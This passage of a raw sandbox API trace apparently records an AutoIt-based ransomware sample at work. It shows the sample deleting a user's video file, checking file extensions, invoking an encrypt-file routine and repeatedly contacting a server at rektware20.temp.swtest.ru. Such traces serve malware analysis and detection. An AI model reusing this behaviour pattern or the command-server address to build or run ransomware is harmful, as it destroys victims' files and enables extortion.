cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0067.559] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0067.559] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0067.560] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0067.560] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.560] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0067.560] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0067.560] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0067.560] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.560] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.560] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.560] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0067.560] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.562] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0067.562] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.562] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.562] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.562] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.562] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0067.562] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.562] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.562] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0067.562] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0067.562] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0067.563] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0067.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164dfb0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0067.563] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0067.563] CryptReleaseContext (hProv=0x17aa670, dwFlags=0x0) returned 1 [0067.563] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.563] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.563] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0067.563] FreeLibrary (hLibModule=0x74c60000) returned 1 [0067.563] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.563] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.563] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.563] CloseHandle (hObject=0x2ac) returned 1 [0067.564] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.564] CloseHandle (hObject=0x3bc) returned 1 [0067.567] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.569] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0067.569] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\gWl3XRfneh.avi", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\gWl3XRfneh.avi", lpFilePart=0x0) returned 0x3c [0067.569] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\gWl3XRfneh.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\elhb95brq rnakly\\gwl3xrfneh.avi")) returned 0x20 [0067.569] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\gWl3XRfneh.avi", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c7b0 [0067.569] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\gWl3XRfneh.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\elhb95brq rnakly\\gwl3xrfneh.avi")) returned 1 [0067.572] FindNextFileW (in: hFindFile=0x164c7b0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0067.572] FindClose (in: hFindFile=0x164c7b0 | out: hFindFile=0x164c7b0) returned 1 [0067.572] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0067.572] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.572] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.572] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.572] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\IyQgx6RA4Nrh1HiLA.swf", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0067.573] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0067.573] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.573] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0067.573] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0067.573] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0067.573] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0067.573] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620da8, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620da8, lpdwBufferLength=0x130ef8c) returned 1 [0067.573] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0067.573] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0067.573] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0067.574] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0067.574] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0067.574] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0067.574] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292b0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292b0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0067.574] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292d0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292d0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0067.574] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0067.575] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0067.575] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0067.575] CloseHandle (hObject=0x0) returned 0 [0067.575] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\IyQgx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.575] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\IyQgx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.575] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\IyQgx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.575] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\IyQgx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.575] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\IyQgx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.575] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\IyQgx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.575] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\IyQgx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.575] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\IyQgx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.575] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\IyQgx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.575] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\IyQgx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.575] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\IyQgx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.575] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\IyQgx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.575] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\IyQgx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.575] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Videos\\elHB95BRq rnAklY\\IyQgx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.575] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Videos\\elHB95BRq rnAklY\\IyQgx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.575] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Videos\\elHB95BRq rnAklY\\IyQgx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.575] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Videos\\elHB95BRq rnAklY\\IyQgx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.575] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Videos\\elHB95BRq rnAklY\\IyQgx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.575] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Videos\\elHB95BRq rnAklY\\IyQgx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.575] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Videos\\elHB95BRq rnAklY\\IyQgx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.576] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Videos\\elHB95BRq rnAklY\\IyQgx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.576] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Videos\\elHB95BRq rnAklY\\IyQgx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.576] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Videos\\elHB95BRq rnAklY\\IyQgx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.576] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ideos\\elHB95BRq rnAklY\\IyQgx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.576] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="deos\\elHB95BRq rnAklY\\IyQgx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.576] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eos\\elHB95BRq rnAklY\\IyQgx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.576] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="os\\elHB95BRq rnAklY\\IyQgx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.576] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\elHB95BRq rnAklY\\IyQgx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.576] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\elHB95BRq rnAklY\\IyQgx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.576] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="elHB95BRq rnAklY\\IyQgx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.576] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lHB95BRq rnAklY\\IyQgx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.576] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HB95BRq rnAklY\\IyQgx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.576] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="B95BRq rnAklY\\IyQgx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.576] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="95BRq rnAklY\\IyQgx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.576] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5BRq rnAklY\\IyQgx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.576] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BRq rnAklY\\IyQgx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.576] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Rq rnAklY\\IyQgx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.576] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="q rnAklY\\IyQgx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.576] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" rnAklY\\IyQgx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0067.576] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rnAklY\\IyQgx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.576] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nAklY\\IyQgx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.576] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="AklY\\IyQgx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.576] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="klY\\IyQgx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.576] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lY\\IyQgx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.576] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Y\\IyQgx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.576] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\IyQgx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.576] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IyQgx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.576] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yQgx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.576] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Qgx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.576] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gx6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.576] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="x6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.576] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.576] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RA4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.576] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.576] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.577] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Nrh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.577] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rh1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.577] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="h1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.577] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.577] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HiLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.577] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iLA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.577] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LA.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.577] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.577] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0067.577] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.577] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.577] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0067.577] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0067.577] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0067.577] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0067.577] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0067.577] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0067.577] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0067.577] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e08, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620e08, lpdwBufferLength=0x130ee1c) returned 1 [0067.577] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0067.577] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0067.577] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0067.578] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0067.578] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0067.578] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0067.578] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629130, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629130*, 